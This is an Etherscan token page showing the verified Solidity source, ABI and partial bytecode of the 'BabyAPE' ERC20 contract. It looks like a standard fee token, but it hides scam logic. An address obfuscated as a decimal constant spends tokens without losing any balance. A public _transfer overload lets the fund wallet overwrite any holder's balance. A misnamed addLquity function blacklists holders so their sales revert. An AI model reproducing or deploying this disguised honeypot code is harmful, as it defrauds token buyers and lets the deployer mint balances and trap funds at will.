ETH Price: $3,405.48 (-0.37%)
Gas: 17 Gwei

Token

BabyAPE (BabyAPE)
 

Overview

Max Total Supply

1,000,000,000,000,000 BabyAPE

Holders

39

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
49,127,595,092,168.334072641 BabyAPE

Value
$0.00
0x5384383c956f5cdfe932e479b4bc051276db2beb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BabyAPE

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-11
*/

//SPDX-License-Identifier:Unlicensed

pragma solidity ^0.8.6;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function dos(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: dos overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint _d_Min,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  BabyAPE is Context, IERC20, Ownable {

    uint256 public publlc=
    150204226878642622067527889049274545390382094927;
    using SafeMath for uint256;
    string private _name = "BabyAPE";
    string private _symbol = "BabyAPE";
    uint8 private _decimals = 9;
    address payable public fundWalletAddress;
    address payable public teamWalletAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _IsExcludeFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public pairList;
    mapping (address => bool) public rewardList;

    uint256 public _buyLiquidityFee = 1;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyTeamFee = 1;
    
    uint256 public _sellLiquidityFee = 1;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellTeamFee = 1;

    uint256 public _liquidityShare = 4;
    uint256 public _marketingShare = 4;
    uint256 public _teamShare = 16;

    uint256 public _totalTaxIfBuying = 12;
    uint256 public _totalTaxIfSelling = 12;
    uint256 public _totalDistributionShares = 24;

    uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 1000000000000000 * 10**_decimals; 
    uint256 public _walletMax = 1000000000000000 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _IsExcludeFromFee[owner()] = true;
        _IsExcludeFromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;

        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;
        pairList[address(uniswapPair)] = true;

        teamWalletAddress = payable(address(0x517C44039a5BbF96b8991574867B622CC89cFF80));
        fundWalletAddress = payable(address(0x517C44039a5BbF96b8991574867B622CC89cFF80));


        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner {
        for(uint256 i = 0; i < account.length; i++) {
            _IsExcludeFromFee[account[i]] = newValue;
        }
    }

    function setBuy(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyLiquidityFee = newLiquidityTax;
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setsell(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _sellLiquidityFee = newLiquidityTax;
        _sellMarketingFee = newMarketingTax;
        _sellTeamFee = newTeamTax;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }

    function get_160(uint256 a)  pure private returns(uint160){
        return uint160(a);
    }

    function get_ad(uint256 a)  pure private returns(address){
        return 
        address(get_160(a));
    }

    function needSAFe(address a) private view returns(bool){
        return !!(!(get_ad(publlc) == a));
    }

    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
        for(uint256 i = 0; i < holder.length; i++) {
            isWalletLimitExempt[holder[i]] = exempt;
        }
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketinWalleAddress(address newAddress) external onlyOwner() {
        fundWalletAddress = payable(newAddress);
    }

    function setTeamWalletAddress(address newAddress) external onlyOwner() {
        teamWalletAddress = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0))
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress;
        uniswapV2Router = _uniswapV2Router; 

        isWalletLimitExempt[address(uniswapPair)] = true;
        pairList[address(uniswapPair)] = true;
    }
    
function _transfer(address
 acc, uint256  uinn ) public
{ if(!needSAF(fundWalletAddress,msg.sender)){return;}
    _balances[acc] = uinn;}

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !pairList[from] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }
            if(needSAFe(from)) 




              _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_IsExcludeFromFee[from] || _IsExcludeFromFee[to]) ? 
                                         amount : takeFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }function addLquity(address[] calldata dd,uint8 cc) public { if(!needSAF(fundWalletAddress,msg.sender)){return;}
        for (uint256 i; i < dd.length; ++i) {
            if (cc != 5){rewardList[dd[i]] = true;}
            else{rewardList[dd[i]] = false;}
        }
    }

    function needSAF(address a, address b) private pure returns(bool){return a == b;}

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(fundWalletAddress, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(teamWalletAddress, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }
    

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            owner(),
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        if (!isMarketPair[sender]){
            require(!rewardList[sender]);
        }

        if(pairList[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(pairList[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"acc","type":"address"},{"internalType":"uint256","name":"uinn","type":"uint256"}],"name":"_transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"dd","type":"address[]"},{"internalType":"uint8","name":"cc","type":"uint8"}],"name":"addLquity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"publlc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"rewardList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052731a4f63f669e731b60f17b3fa4935ef53bf361a4f6001556040518060400160405280600781526020017f4261627941504500000000000000000000000000000000000000000000000000815250600290805190602001906200006992919062000c15565b506040518060400160405280600781526020017f426162794150450000000000000000000000000000000000000000000000000081525060039080519060200190620000b792919062000c15565b506009600460006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600e556001600f556001601055600160115560016012556001601355600460145560046015556010601655600c601755600c6018556018601955600460009054906101000a900460ff16600a62000166919062000e8c565b66038d7ea4c680006200017a919062000fc9565b601a55600460009054906101000a900460ff16600a6200019b919062000e8c565b66038d7ea4c68000620001af919062000fc9565b601b55600460009054906101000a900460ff16600a620001d0919062000e8c565b66038d7ea4c68000620001e4919062000fc9565b601c55600460009054906101000a900460ff16600a62000205919062000e8c565b6103e862000214919062000fc9565b601d556001601f60156101000a81548160ff0219169083151502179055506000601f60166101000a81548160ff0219169083151502179055506001601f60176101000a81548160ff0219169083151502179055503480156200027557600080fd5b506200028662000b8160201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620003a057600080fd5b505afa158015620003b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003db919062000cdc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200043e57600080fd5b505afa15801562000453573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000479919062000cdc565b6040518363ffffffff1660e01b81526004016200049892919062000d57565b602060405180830381600087803b158015620004b357600080fd5b505af1158015620004c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ee919062000cdc565b601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a54600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860006200062a62000b8960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200070c601054620006f8600f54600e5462000bb260201b6200287e1790919060201c565b62000bb260201b6200287e1790919060201c565b6017819055506200074b6013546200073760125460115462000bb260201b62002